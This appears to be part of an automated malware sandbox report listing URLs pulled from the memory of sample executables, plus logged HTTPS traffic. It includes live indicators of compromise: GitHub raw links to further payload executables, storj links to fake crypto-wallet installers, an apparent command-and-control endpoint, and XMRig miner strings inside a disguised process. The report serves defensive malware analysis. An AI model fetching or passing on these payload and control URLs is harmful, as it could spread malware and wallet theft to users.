                              Source: b2885fa695.exe, 00000020.00000003.2582356457.00000000056AD000.00000004.00000800.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2582557045.00000000056AA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000DEA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com
                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000DEA000.00000004.00000020.00020000.00000000.sdmp, 322c3dce5b.exe, 00000033.00000000.2907742348.0000000000032000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://github.com/Urijas/moperats/raw/refs/heads/main/biyjdfjadaw.exe
                              Source: 322c3dce5b.exe, 00000033.00000000.2907742348.0000000000032000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://github.com/Urijas/moperats/raw/refs/heads/main/ktyihkdfesf.exe
                              Source: b7c03317c9.exe, 0000002A.00000003.2782175661.0000000007A76000.00000004.00001000.00020000.00000000.sdmp, b7c03317c9.exe, 0000002A.00000002.2930917753.0000000000F9D000.00000040.00000001.01000000.00000014.sdmpString found in binary or memory: https://httpbin.org/ip
                              Source: b7c03317c9.exe, 0000002A.00000003.2782175661.0000000007A76000.00000004.00001000.00020000.00000000.sdmp, b7c03317c9.exe, 0000002A.00000002.2930917753.0000000000F9D000.00000040.00000001.01000000.00000014.sdmpString found in binary or memory: https://httpbin.org/ipbefore
                              Source: b2885fa695.exe, 00000020.00000003.2661685253.0000000005661000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
                              Source: 4115805b10.exe, 00000027.00000002.2796654960.0000026810961000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000002.2796654960.000002681097D000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000002.2819650802.000001E3658C4000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2795679412.000001E3658C4000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000002.2820245543.000001E3661E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ipinfo.io/
                              Source: 4115805b10.exe, 00000027.00000002.2796654960.000002681092B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ipinfo.io/1
                              Source: 4115805b10.exe, 00000028.00000002.2820245543.000001E3661E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ipinfo.io/D
                              Source: 4115805b10.exe, 00000027.00000000.2649047959.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000027.00000003.2774885034.00000268109DD000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000002.2797453206.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000027.00000003.2774431697.00000268109D5000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2774431697.0000026810A08000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000002.2820458214.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000002.2819650802.000001E365837000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000002.2819650802.000001E3658C4000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2795679412.000001E3658C4000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000000.2667326161.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmpString found in binary or memory: https://ipinfo.io/json
                              Source: 4115805b10.exe, 00000027.00000002.2797301812.00000268125B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ipinfo.io/json9
                              Source: 4115805b10.exe, 00000027.00000002.2797301812.00000268125B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ipinfo.io/json=
                              Source: 4115805b10.exe, 00000028.00000002.2819650802.000001E365837000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ipinfo.io/jsonDriveoro
                              Source: 4115805b10.exe, 00000027.00000000.2649047959.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000027.00000002.2797453206.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000002.2820458214.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000000.2667326161.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmpString found in binary or memory: https://ipinfo.io/jsonN/Aipcountry
                              Source: 4115805b10.exe, 00000027.00000003.2774885034.00000268109DD000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2774431697.00000268109D5000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2795679412.000001E3658C4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ipinfo.io/missingauth
                              Source: 4115805b10.exe, 00000027.00000002.2796654960.0000026810961000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ipinfo.io/na
                              Source: 4115805b10.exe, 00000028.00000000.2667326161.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmpString found in binary or memory: https://link.storjshare.io/s/jvbdgt4oiad73vsmb56or2qtzcta/cardan-shafts/Exodus%20(Software)(1).zip?d
                              Source: 4115805b10.exe, 00000027.00000000.2649047959.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000027.00000002.2797453206.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000002.2820458214.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000000.2667326161.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmpString found in binary or memory: https://link.storjshare.io/s/jvrb5lh3pynx3et56bisfuuguvoq/cardan-shafts/Electrum%20(Software)(1).zip
                              Source: 4115805b10.exe, 00000028.00000002.2819650802.000001E3657E0000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000000.2667326161.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmpString found in binary or memory: https://link.storjshare.io/s/jvs5vlroulyshzqirwqzg7wys2wq/cardan-shafts/Atomic%20(Software)(2).zip?d
                              Source: 4115805b10.exe, 00000028.00000002.2819650802.000001E3657E0000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000000.2667326161.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmpString found in binary or memory: https://link.storjshare.io/s/jwkj6ktyi5kumzjvhrw6bdbvyceq/cardan-shafts/Ledger%20(Software).zip?down
                              Source: 4115805b10.exe, 00000027.00000000.2649047959.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000027.00000002.2797453206.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000002.2820458214.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000000.2667326161.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmpString found in binary or memory: https://link.storjshare.io/s/jx3obcnqgxa2u364c52wel6vrxba/cardan-shafts/Trazor%20(Software).zip?down
                              Source: 4115805b10.exe, 00000028.00000003.2690741461.000001E365836000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2692258593.000001E36584F000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691019358.000001E365823000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2692584026.000001E36584F000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691434886.000001E36583B000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691864511.000001E365847000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2692021259.000001E36584F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://payments.google.com/
                              Source: 4115805b10.exe, 00000027.00000003.2671262555.0000026810961000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2671446840.0000026810961000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2671262555.000002681095A000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2692258593.000001E36585C000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2692584026.000001E365865000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691019358.000001E365823000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691711392.000001E36585B000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691434886.000001E36583B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://payments.google.com/payments/v4/js/integrator.js
                              Source: 4115805b10.exe, 00000028.00000003.2692258593.000001E36585C000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2692584026.000001E365865000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691019358.000001E365823000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691711392.000001E36585B000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691434886.000001E36583B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://payments.google.com/payments/v4/js/integrator.js60335477Zu
                              Source: 4115805b10.exe, 00000027.00000003.2671262555.0000026810961000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2671446840.0000026810961000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://payments.google.com/payments/v4/js/integrator.js9A495B9est
                              Source: 4115805b10.exe, 00000028.00000003.2692258593.000001E36585C000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2692584026.000001E365865000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691019358.000001E365823000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691711392.000001E36585B000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691434886.000001E36583B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://payments.google.com/payments/v4/js/integrator.jsBACCDE8AZo
                              Source: 4115805b10.exe, 00000028.00000003.2690741461.000001E365836000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2692258593.000001E36584F000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691019358.000001E365823000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2692584026.000001E36584F000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691434886.000001E36583B000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691864511.000001E365847000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2692021259.000001E36584F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://sandbox.google.com/
                              Source: 4115805b10.exe, 00000028.00000003.2691434886.000001E36583B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://sandbox.google.com/payments/v4/js/integrator.js
                              Source: 4115805b10.exe, 00000027.00000003.2671262555.0000026810961000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2671446840.0000026810961000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://sandbox.google.com/payments/v4/js/integrator.jsCF630DF4
                              Source: 4115805b10.exe, 00000027.00000003.2671262555.0000026810961000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2671446840.0000026810961000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://sandbox.google.com/payments/v4/js/integrator.jsF6033547
                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000D79000.00000004.00000020.00020000.00000000.sdmp, 5f0a381314.exe.5.drString found in binary or memory: https://sectigo.com/CPS0
                              Source: b2885fa695.exe, 00000020.00000003.2582992344.00000000056C0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.microsof
                              Source: b2885fa695.exe, 00000020.00000003.2631727689.000000000578D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
                              Source: b2885fa695.exe, 00000020.00000003.2631727689.000000000578D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
                              Source: b2885fa695.exe, 00000020.00000003.2583140573.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2605197612.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2582992344.00000000056C0000.00000004.00000800.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2606132796.00000000056B9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
                              Source: b2885fa695.exe, 00000020.00000003.2583140573.0000000005694000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
                              Source: b2885fa695.exe, 00000020.00000003.2583140573.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2605197612.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2582992344.00000000056C0000.00000004.00000800.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2606132796.00000000056B9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
                              Source: b2885fa695.exe, 00000020.00000003.2583140573.0000000005694000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
                              Source: 4cdf81e042.exe, 0000002C.00000002.2937965345.0000000001489000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://treehoneyi.click/
                              Source: 4cdf81e042.exe, 0000002C.00000002.2937965345.00000000013C8000.00000004.00000020.00020000.00000000.sdmp, 4cdf81e042.exe, 0000002C.00000002.2937965345.000000000149D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://treehoneyi.click/api
                              Source: 4cdf81e042.exe, 0000002C.00000002.2937965345.00000000013C8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://treehoneyi.click/api$
                              Source: 4cdf81e042.exe, 0000002C.00000002.2937965345.000000000149D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://treehoneyi.click:443/api
                              Source: b2885fa695.exe, 00000020.00000003.2559195373.0000000000D42000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2559287290.0000000000D0D000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2559173290.0000000000D84000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.cloudflare.com/5xx-error-landing
                              Source: b2885fa695.exe, 00000020.00000003.2559195373.0000000000D42000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2559173290.0000000000D84000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
                              Source: b2885fa695.exe, 00000020.00000003.2582356457.00000000056AD000.00000004.00000800.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2582557045.00000000056AA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
                              Source: 4115805b10.exe, 00000028.00000003.2692021259.000001E36584F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/
                              Source: 4115805b10.exe, 00000028.00000003.2692258593.000001E36584F000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691019358.000001E365823000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2692584026.000001E36584F000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691434886.000001E36583B000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691864511.000001E365847000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2692021259.000001E36584F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/aome
                              Source: 4115805b10.exe, 00000027.00000003.2671505089.00000268109A2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/ate
                              Source: b2885fa695.exe, 00000020.00000003.2582356457.00000000056AD000.00000004.00000800.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2582557045.00000000056AA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
                              Source: 4115805b10.exe, 00000028.00000003.2690741461.000001E365836000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/l
                              Source: 4115805b10.exe, 00000027.00000003.2671210783.0000026810964000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2671562167.0000026810965000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/olhkhi
                              Source: 4115805b10.exe, 00000028.00000003.2692258593.000001E36585C000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2692584026.000001E365865000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691019358.000001E365823000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691711392.000001E36585B000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691434886.000001E36583B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/s
                              Source: 4115805b10.exe, 00000028.00000003.2691236731.000001E365817000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/vate
                              Source: 4115805b10.exe, 00000028.00000003.2691434886.000001E36583B000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691864511.000001E365847000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2692021259.000001E36584F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.googleapis.com/
                              Source: 4115805b10.exe, 00000028.00000003.2691019358.000001E365823000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2690889016.000001E365822000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.googleapis.com/autJ
                              Source: 4115805b10.exe, 00000028.00000003.2691236731.000001E365820000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.googleapis.com/auth/chromewebstore
                              Source: 4115805b10.exe, 00000028.00000003.2691434886.000001E36583B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonly
                              Source: 4115805b10.exe, 00000028.00000003.2692258593.000001E36585C000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2692584026.000001E365865000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691019358.000001E365823000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691711392.000001E36585B000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691434886.000001E36583B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonly4C47B199FZd
                              Source: 4115805b10.exe, 00000027.00000003.2671262555.0000026810961000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2671446840.0000026810961000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonlyCF630DF4
                              Source: 4115805b10.exe, 00000027.00000003.2671262555.0000026810961000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2671446840.0000026810961000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonlyr
                              Source: 4115805b10.exe, 00000027.00000003.2671262555.0000026810961000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2671446840.0000026810961000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.googleapis.com/auth/chromewebstore1gle
                              Source: 4115805b10.exe, 00000028.00000003.2691236731.000001E365820000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.googleapis.com/auth/chromewebstoreB4298L
                              Source: 4115805b10.exe, 00000028.00000003.2691236731.000001E365820000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.googleapis.com/auth/sierra
                              Source: 4115805b10.exe, 00000027.00000003.2671674540.0000026810983000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2670962130.000002681097E000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2671383618.000002681097F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.googleapis.com/auth/sierra(B
                              Source: 4115805b10.exe, 00000027.00000003.2671262555.0000026810961000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2671446840.0000026810961000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.googleapis.com/auth/sierra31C80D86845C0
                              Source: 4115805b10.exe, 00000028.00000003.2691236731.000001E365820000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.googleapis.com/auth/sierra9D97DA149A509p
                              Source: 4115805b10.exe, 00000027.00000003.2670730816.0000026810978000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691236731.000001E365820000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.googleapis.com/auth/sierrasandbox
                              Source: 4115805b10.exe, 00000028.00000003.2691236731.000001E365820000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.googleapis.com/auth/sierrasandbox3z
                              Source: 4115805b10.exe, 00000028.00000003.2691236731.000001E365820000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.googleapis.com/auth/sierrasandbox5D15D
                              Source: 4115805b10.exe, 00000027.00000003.2671262555.0000026810961000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2671446840.0000026810961000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.googleapis.com/auth/sierrasandboxB54A8A
                              Source: b2885fa695.exe, 00000020.00000003.2631727689.000000000578D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
                              Source: b2885fa695.exe, 00000020.00000003.2631727689.000000000578D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
                              Source: b2885fa695.exe, 00000020.00000003.2631727689.000000000578D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
                              Source: b2885fa695.exe, 00000020.00000003.2631727689.000000000578D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
                              Source: b2885fa695.exe, 00000020.00000003.2631727689.000000000578D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
                              Source: Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2521605943.000001FE626E0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001F.00000002.2530687816.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Intel_PTT_EK_Recertification.exe, 0000002E.00000003.2876108637.00000202AA9D0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000002F.00000002.2882244663.00000001402DD000.00000002.00000001.00020000.00000000.sdmpString found in binary or memory: https://xmrig.com/docs/algorithms
                              Source: Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2521605943.000001FE626E0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001F.00000002.2530687816.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Intel_PTT_EK_Recertification.exe, 0000002E.00000003.2876108637.00000202AA9D0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000002F.00000002.2882244663.00000001402DD000.00000002.00000001.00020000.00000000.sdmpString found in binary or memory: https://xmrig.com/wizard
                              Source: Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2521605943.000001FE626E0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001F.00000002.2530687816.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Intel_PTT_EK_Recertification.exe, 0000002E.00000003.2876108637.00000202AA9D0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000002F.00000002.2882244663.00000001402DD000.00000002.00000001.00020000.00000000.sdmpString found in binary or memory: https://xmrig.com/wizard%s
                              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49887
                              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49842
                              Source: unknownNetwork traffic detected: HTTP traffic on port 49842 -> 443
                              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49862
                              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49880
                              Source: unknownNetwork traffic detected: HTTP traffic on port 49852 -> 443
                              Source: unknownNetwork traffic detected: HTTP traffic on port 49833 -> 443
                              Source: unknownNetwork traffic detected: HTTP traffic on port 49805 -> 443
                              Source: unknownNetwork traffic detected: HTTP traffic on port 49810 -> 443
                              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49816
                              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49858
                              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49879
                              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49833
                              Source: unknownNetwork traffic detected: HTTP traffic on port 49887 -> 443
                              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49810
                              Source: unknownNetwork traffic detected: HTTP traffic on port 49816 -> 443
                              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49853
                              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49852
                              Source: unknownNetwork traffic detected: HTTP traffic on port 49925 -> 443
                              Source: unknownNetwork traffic detected: HTTP traffic on port 49862 -> 443
                              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49872
                              Source: unknownNetwork traffic detected: HTTP traffic on port 49858 -> 443
                              Source: unknownNetwork traffic detected: HTTP traffic on port 49872 -> 443
                              Source: unknownNetwork traffic detected: HTTP traffic on port 49879 -> 443
                              Source: unknownNetwork traffic detected: HTTP traffic on port 49853 -> 443
                              Source: unknownNetwork traffic detected: HTTP traffic on port 49880 -> 443
                              Source: unknownNetwork traffic detected: HTTP traffic on port 49825 -> 443
                              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49805
                              Source: unknownNetwork traffic detected: HTTP traffic on port 49846 -> 443
                              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49925
                              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49825
                              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49846
                              Source: unknownNetwork traffic detected: HTTP traffic on port 49867 -> 443
                              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49867
                              Source: unknownNetwork traffic detected: HTTP traffic on port 49888 -> 443
                              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49888
                              Source: unknownHTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49805 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49810 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49816 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49825 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49833 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49842 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 172.217.17.46:443 -> 192.168.2.4:49846 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49853 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 172.217.17.46:443 -> 192.168.2.4:49852 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 172.217.17.65:443 -> 192.168.2.4:49858 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 172.217.17.65:443 -> 192.168.2.4:49862 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49867 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.4:49872 version: TLS 1.2
